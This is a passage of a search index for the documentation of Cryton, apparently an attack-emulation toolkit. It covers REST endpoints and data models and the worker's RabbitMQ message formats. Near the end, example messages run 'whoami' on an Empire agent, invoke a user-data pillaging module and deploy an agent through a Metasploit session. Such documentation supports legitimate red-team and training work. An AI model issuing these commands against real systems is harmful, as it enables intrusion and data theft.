string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_42","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_42","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_20","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_43","title":"Description","text":"<p>Create Stage under Plan. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_43","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_43","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistagesid","title":"/api/stages/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_18","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_44","title":"Description","text":"<p>Get existing Stage.</p>"},{"location":"interfaces/core-rest-api/#parameters_39","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_44","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_44","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_5","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_45","title":"Description","text":"<p>Delete Stage.</p>"},{"location":"interfaces/core-rest-api/#parameters_40","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_45","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_45","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistagesidstart_trigger","title":"/api/stages/{id}/start_trigger/","text":""},{"location":"interfaces/core-rest-api/#post_21","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_46","title":"Description","text":"<p>Start Stage's trigger under Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_41","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_46","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_46","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistagesvalidate","title":"/api/stages/validate/","text":""},{"location":"interfaces/core-rest-api/#post_22","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_47","title":"Description","text":"<p>Validate Stage YAML. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_47","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_47","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executions","title":"/api/step_executions/","text":""},{"location":"interfaces/core-rest-api/#get_19","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_48","title":"Description","text":"<p>List Step executions.</p>"},{"location":"interfaces/core-rest-api/#parameters_42","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string stage_execution_id query Stage execution ID used to filter the results. No integer step_model_id query Step ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses_48","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_48","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsid","title":"/api/step_executions/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_20","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_49","title":"Description","text":"<p>Get existing Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_43","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_49","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_49","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_6","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_50","title":"Description","text":"<p>Delete Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_44","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_50","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_50","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsidkill","title":"/api/step_executions/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_23","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_51","title":"Description","text":"<p>Kill Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_45","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_51","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_51","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsidre_execute","title":"/api/step_executions/{id}/re_execute/","text":""},{"location":"interfaces/core-rest-api/#post_24","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_52","title":"Description","text":"<p>Re-execute Step execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_46","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_52","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_52","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistep_executionsidreport","title":"/api/step_executions/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_21","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_53","title":"Description","text":"<p>Generate Step execution report.</p>"},{"location":"interfaces/core-rest-api/#parameters_47","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_53","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_53","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apisteps","title":"/api/steps/","text":""},{"location":"interfaces/core-rest-api/#get_22","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_54","title":"Description","text":"<p>List Steps.</p>"},{"location":"interfaces/core-rest-api/#parameters_48","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_54","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_54","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_25","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_55","title":"Description","text":"<p>Create Step under Stage. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_55","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_55","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistepsid","title":"/api/steps/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_23","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_56","title":"Description","text":"<p>Get existing Step.</p>"},{"location":"interfaces/core-rest-api/#parameters_49","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_56","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_56","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_7","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_57","title":"Description","text":"<p>Delete Step.</p>"},{"location":"interfaces/core-rest-api/#parameters_50","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_57","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_57","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistepsidexecute","title":"/api/steps/{id}/execute/","text":""},{"location":"interfaces/core-rest-api/#post_26","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_58","title":"Description","text":"<p>Execute Step under Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_51","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this step model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_58","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_58","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistepsvalidate","title":"/api/steps/validate/","text":""},{"location":"interfaces/core-rest-api/#post_27","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_59","title":"Description","text":"<p>Validate Step YAML. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_59","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_59","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apitemplates","title":"/api/templates/","text":""},{"location":"interfaces/core-rest-api/#get_24","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_60","title":"Description","text":"<p>List templates.</p>"},{"location":"interfaces/core-rest-api/#parameters_52","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_60","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_60","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_28","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_61","title":"Description","text":"<p>Create new template.</p>"},{"location":"interfaces/core-rest-api/#responses_61","title":"Responses","text":"Code Description 201"},{"location":"interfaces/core-rest-api/#security_61","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apitemplatesid","title":"/api/templates/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_25","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_62","title":"Description","text":"<p>Get existing template.</p>"},{"location":"interfaces/core-rest-api/#parameters_53","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan template model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_62","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_62","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_8","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_63","title":"Description","text":"<p>Delete template.</p>"},{"location":"interfaces/core-rest-api/#parameters_54","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan template model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_63","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_63","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apitemplatesidget_template","title":"/api/templates/{id}/get_template/","text":""},{"location":"interfaces/core-rest-api/#get_26","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_64","title":"Description","text":"<p>Get template (its YAML).</p>"},{"location":"interfaces/core-rest-api/#parameters_55","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan template model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_64","title":"Responses","text":"Code Description 200 404 500"},{"location":"interfaces/core-rest-api/#security_64","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiworkers","title":"/api/workers/","text":""},{"location":"interfaces/core-rest-api/#get_27","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_65","title":"Description","text":"<p>List Workers.</p>"},{"location":"interfaces/core-rest-api/#parameters_56","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_65","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_65","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_29","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_66","title":"Description","text":"<p>Create new Worker.</p>"},{"location":"interfaces/core-rest-api/#responses_66","title":"Responses","text":"Code Description 201 400"},{"location":"interfaces/core-rest-api/#security_66","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiworkersid","title":"/api/workers/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_28","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_67","title":"Description","text":"<p>Get existing Worker.</p>"},{"location":"interfaces/core-rest-api/#parameters_57","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this worker model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_67","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_67","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_9","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_68","title":"Description","text":"<p>Delete Worker.</p>"},{"location":"interfaces/core-rest-api/#parameters_58","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this worker model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_68","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_68","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiworkersidhealthcheck","title":"/api/workers/{id}/healthcheck/","text":""},{"location":"interfaces/core-rest-api/#post_30","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_69","title":"Description","text":"<p>Check if Worker is responding.</p>"},{"location":"interfaces/core-rest-api/#parameters_59","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this worker model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_69","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_69","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#models","title":"Models","text":""},{"location":"interfaces/core-rest-api/#createdetail","title":"CreateDetail","text":"Name Type Description Required detail string Yes id integer Yes"},{"location":"interfaces/core-rest-api/#createmultipledetail","title":"CreateMultipleDetail","text":"Name Type Description Required detail string Yes ids [ integer ] Yes"},{"location":"interfaces/core-rest-api/#createwithfiles","title":"CreateWithFiles","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes"},{"location":"interfaces/core-rest-api/#detaildictionary","title":"DetailDictionary","text":"Name Type Description Required detail object Yes"},{"location":"interfaces/core-rest-api/#detailstring","title":"DetailString","text":"Name Type Description Required detail string Yes"},{"location":"interfaces/core-rest-api/#executioncreatedetail","title":"ExecutionCreateDetail","text":"Name Type Description Required detail string Yes execution_id integer Yes"},{"location":"interfaces/core-rest-api/#executionvariable","title":"ExecutionVariable","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes value object Yes plan_execution integer Yes"},{"location":"interfaces/core-rest-api/#executionvariablecreate","title":"ExecutionVariableCreate","text":"Name Type Description Required plan_execution_id integer Yes file string (uri) Yes"},{"location":"interfaces/core-rest-api/#log","title":"Log","text":"Name Type Description Required detail string Yes"},{"location":"interfaces/core-rest-api/#paginatedexecutionvariablelist","title":"PaginatedExecutionVariableList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedloglist","title":"PaginatedLogList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedplanexecutionlist","title":"PaginatedPlanExecutionList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedplanlist","title":"PaginatedPlanList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedplantemplatelist","title":"PaginatedPlanTemplateList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedrunlist","title":"PaginatedRunList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedstageexecutionlist","title":"PaginatedStageExecutionList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedstagelist","title":"PaginatedStageList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedstepexecutionlist","title":"PaginatedStepExecutionList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedsteplist","title":"PaginatedStepList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#paginatedworkerlist","title":"PaginatedWorkerList","text":"Name Type Description Required count integer Example: <code>123</code> No next string (uri) Example: <code>\"http://api.example.org/accounts/?offset=400&limit=100\"</code> No previous string (uri) Example: <code>\"http://api.example.org/accounts/?offset=200&limit=100\"</code> No results [ object ] No"},{"location":"interfaces/core-rest-api/#plan","title":"Plan","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes owner string Yes dynamic boolean No"},{"location":"interfaces/core-rest-api/#plancreate","title":"PlanCreate","text":"Name Type Description Required template_id integer Yes file string (uri) Yes"},{"location":"interfaces/core-rest-api/#planexecute","title":"PlanExecute","text":"Name Type Description Required run_id integer Yes worker_id integer Yes"},{"location":"interfaces/core-rest-api/#planexecution","title":"PlanExecution","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No schedule_time dateTime No aps_job_id string Yes evidence_directory string Yes run integer Yes plan_model integer Yes worker integer Yes"},{"location":"interfaces/core-rest-api/#plantemplate","title":"PlanTemplate","text":"Name Type Description Required id integer Yes file string (uri) Yes"},{"location":"interfaces/core-rest-api/#run","title":"Run","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No schedule_time dateTime No aps_job_id string Yes plan_model integer Yes"},{"location":"interfaces/core-rest-api/#runcreate","title":"RunCreate","text":"Name Type Description Required plan_id integer Yes worker_ids [ integer ] Yes"},{"location":"interfaces/core-rest-api/#runcreatedetail","title":"RunCreateDetail","text":"Name Type Description Required detail string Yes id integer Yes plan_execution_ids [ integer ] Yes"},{"location":"interfaces/core-rest-api/#runpostpone","title":"RunPostpone","text":"Name Type Description Required delta string Yes"},{"location":"interfaces/core-rest-api/#runschedule","title":"RunSchedule","text":"Name Type Description Required start_time string Yes"},{"location":"interfaces/core-rest-api/#stage","title":"Stage","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes trigger_type string Yes trigger_args object Yes plan_model integer Yes"},{"location":"interfaces/core-rest-api/#stagecreate","title":"StageCreate","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes plan_id integer Yes"},{"location":"interfaces/core-rest-api/#stageexecution","title":"StageExecution","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No schedule_time dateTime No aps_job_id string Yes trigger_id string Yes plan_execution integer Yes stage_model integer Yes"},{"location":"interfaces/core-rest-api/#stageexecutionreexecute","title":"StageExecutionReExecute","text":"Name Type Description Required immediately boolean Yes"},{"location":"interfaces/core-rest-api/#stagestarttrigger","title":"StageStartTrigger","text":"Name Type Description Required plan_execution_id integer Yes"},{"location":"interfaces/core-rest-api/#stagevalidate","title":"StageValidate","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes dynamic string No"},{"location":"interfaces/core-rest-api/#step","title":"Step","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes step_type string Yes arguments object Yes is_init boolean No is_final boolean No output_prefix string Yes stage_model integer Yes"},{"location":"interfaces/core-rest-api/#stepcreate","title":"StepCreate","text":"Name Type Description Required file string (uri) Yes inventory_file string (uri) Yes stage_id integer Yes"},{"location":"interfaces/core-rest-api/#stepexecute","title":"StepExecute","text":"Name Type Description Required stage_execution_id integer Yes"},{"location":"interfaces/core-rest-api/#stepexecution","title":"StepExecution","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes state string No start_time dateTime No pause_time dateTime No finish_time dateTime No result string No serialized_output object No output string No valid boolean No parent_id integer No stage_execution integer Yes step_model integer Yes"},{"location":"interfaces/core-rest-api/#worker","title":"Worker","text":"Name Type Description Required id integer Yes created_at dateTime Yes updated_at dateTime Yes name string Yes description string Yes state string No"},{"location":"interfaces/core-rest-api/#workercreate","title":"WorkerCreate","text":"Name Type Description Required name string Yes description string Yes force boolean Yes"},{"location":"interfaces/frontend/","title":"Frontend","text":"<p>Cryton Frontend provides functionality for interacting with Cryton Core more easily and clearly than by using CLI.</p>"},{"location":"interfaces/frontend/#listing-data","title":"Listing data","text":"<p>You can list all Cryton data by using list pages in the navigation bar. Most important data can be found directly in the dashboard. Each data table provides functionality for sorting and filtering data.</p>"},{"location":"interfaces/frontend/#creating-objects","title":"Creating objects","text":"<p>You can create workers, templates, instances, and runs by using create pages in the navigation bar. Every object can be also deleted from its list page.</p>"},{"location":"interfaces/frontend/#template-creation","title":"Template creation","text":"<p>You can create plan templates in the Plan templates > Create template. The whole creation process is documented in-app with an introduction page and additional help pages for every creation step.</p>"},{"location":"interfaces/frontend/#run-interaction","title":"Run interaction","text":"<p>The front end provides 2 ways to interact with runs. There is a quick interaction menu that you can access in Runs > List runs by clicking on a run. The interaction menu will expand under the run. Another way is to click on the eye icon next to the run which will take you to the run's page. There you can also view the current state of the run and its sub-parts, and modify the execution variables for each execution.</p>"},{"location":"interfaces/frontend/#execution-timeline","title":"Execution timeline","text":"<p>You can view timelines of the run's executions by clicking on the clock icon next to a run on the list runs page or by clicking on the show timeline button on the run's page. The timeline shows the start, pause and finish times of the whole execution, stages, and steps. More details can be found in an in-app help page found inside the timeline tab.</p>"},{"location":"interfaces/frontend/#theming","title":"Theming","text":"<p>The front end provides two color themes - light and dark. You can switch between them with a toggle button in the top bar.</p>"},{"location":"interfaces/worker-rabbit-api/","title":"Worker (Rabbit API)","text":"<p>Worker utilizes RabbitMQ as it's messaging protocol for asynchronous RPC.</p>"},{"location":"interfaces/worker-rabbit-api/#rabbit-api","title":"Rabbit API","text":"<p>Worker is able to process any request sent through RabbitMQ to its Queues (<code>cryton_worker.WORKER_NAME.attack.request</code>, <code>cryton_worker.WORKER_NAME.control.request</code>, <code>cryton_worker.WORKER_NAME.agent.request</code>) defined using WORKER_NAME (can be changed using CLI or in the settings).</p> <p>The response is sent to the queue defined using the <code>reply_to</code> parameter in a message.properties.</p>"},{"location":"interfaces/worker-rabbit-api/#attack-requests","title":"Attack requests","text":"<p>Requests to execute a command or a module are being processed in the <code>cryton_worker.WORKER_NAME.attack.request</code> queue. List of supported requests:</p>"},{"location":"interfaces/worker-rabbit-api/#execute-attack-module","title":"Execute attack module","text":"<p>To execute an attack module, send a message to <code>cryton_worker.WORKER_NAME.attack.request</code> queue in a format ```json lines {\"ack_queue\": \"confirmation_queue\", \"step_type\": \"worker/execute\", \"module\": module_name, \"module_arguments\": module_arguments} <pre><code>ACK response format:\n```json\n{\"return_code\": 0, \"correlation_id\": \"id\"}\n</code></pre></p> <p>Response format: <pre><code>{\"return_code\": 0, \"output\": \"\", \"serialized_output\": \"\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#execute-command-on-agent","title":"Execute command on agent","text":"<p>To execute a command on a deployed agent, send a message to the <code>cryton_worker.WORKER_NAME.attack.request</code> queue in a format <pre><code>{\"step_type\": \"empire/execute\", \"arguments\": {\"shell_command\": \"whoami\", \"use_agent\": \"MyAgent\"}}\n</code></pre></p> <p>ACK response format: <pre><code>{\"return_code\": 0, \"correlation_id\": \"id\"}\n</code></pre></p> <p>Response format: <pre><code>{\"return_code\": 0, \"output\": \"\", \"serialized_output\": \"\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#execute-empire-module-on-agent","title":"Execute empire module on agent","text":"<p>To execute an empire module on a deployed agent, send a message to the <code>cryton_worker.WORKER_NAME.attack.request</code> queue in a format <pre><code>{\"step_type\": \"empire/execute\", \"arguments\": { \"empire_module\": \"python/collection/linux/pillage_user\", \"use_agent\": \"MyAgent\"}}\n</code></pre></p> <p>ACK response format: <pre><code>{\"return_code\": 0, \"correlation_id\": \"id\"}\n</code></pre></p> <p>Response format: <pre><code>{\"return_code\": 0, \"output\": \"\", \"serialized_output\": \"\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#agent-requests","title":"Agent requests","text":"<p>Requests to control empire agents are being processed in <code>cryton_worker.WORKER_NAME.agent.request</code> queue. List of supported requests:</p>"},{"location":"interfaces/worker-rabbit-api/#deploy-agent","title":"Deploy agent","text":"<p>Deploy an agent and send a response containing the result. Example: <pre><code>{\"step_type\": \"empire/agent-deploy\", \"arguments\": {\"stager_type\": \"multi/bash\", \"agent_name\": \"MyAgent\", \"listener_name\": \"TestListener\", \"listener_port\": 80, \"session_id\": \"MSF_SESSION_ID\"}}\n</code></pre></p> <p>Response example: <pre><code>{\"return_code\": 0, \"output\": \"Agent 'MyAgent' deployed on target 192.168.33.12.\"}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#control-requests","title":"Control requests","text":"<p>To perform a control event send a message to <code>cryton_worker.WORKER_NAME.control.request</code> queue in a format ```json lines {\"event_t\": type, \"event_v\": value} <pre><code>Response format:\n```json lines\n{\"event_t\": type, \"event_v\": value}\n</code></pre></p> <p>List of supported requests:</p>"},{"location":"interfaces/worker-rabbit-api/#validate-module","title":"Validate module","text":"<p>Validate a module and send a response containing the result. Example: ```json lines {\"event_t\": \"VALIDATE_MODULE\", \"event_v\": {\"module\": module_name, \"module_arguments\": module_arguments}} <pre><code>Response example: \n```json\n{\"event_t\": \"VALIDATE_MODULE\", \"event_v\": {\"return_code\": 0, \"output\": \"output\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#list-modules","title":"List modules","text":"<p>List available modules and send a response containing the result. </p> <p>Request example: <pre><code>{\"event_t\": \"LIST_MODULES\", \"event_v\": {}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"LIST_MODULES\", \"event_v\": {\"module_list\": [\"module_name\"]}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#list-sessions","title":"List sessions","text":"<p>List available Metasploit sessions and send a response containing the result.</p> <p>Request example: ```json lines {\"event_t\": \"LIST_SESSIONS\", \"event_v\": {\"target_host\": target_ip}} <pre><code>Response example: \n```json\n{\"event_t\": \"LIST_SESSIONS\", \"event_v\": {\"session_list\": [\"session_id\"]}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#kill-step-execution","title":"Kill Step execution","text":"<p>Kill running Step (module) and send a response containing the result. Example: ```json lines {\"event_t\": \"KILL_STEP_EXECUTION\", \"event_v\": {\"correlation_id\": correlation_id}} <pre><code>Response example:\n```json\n{\"event_t\": 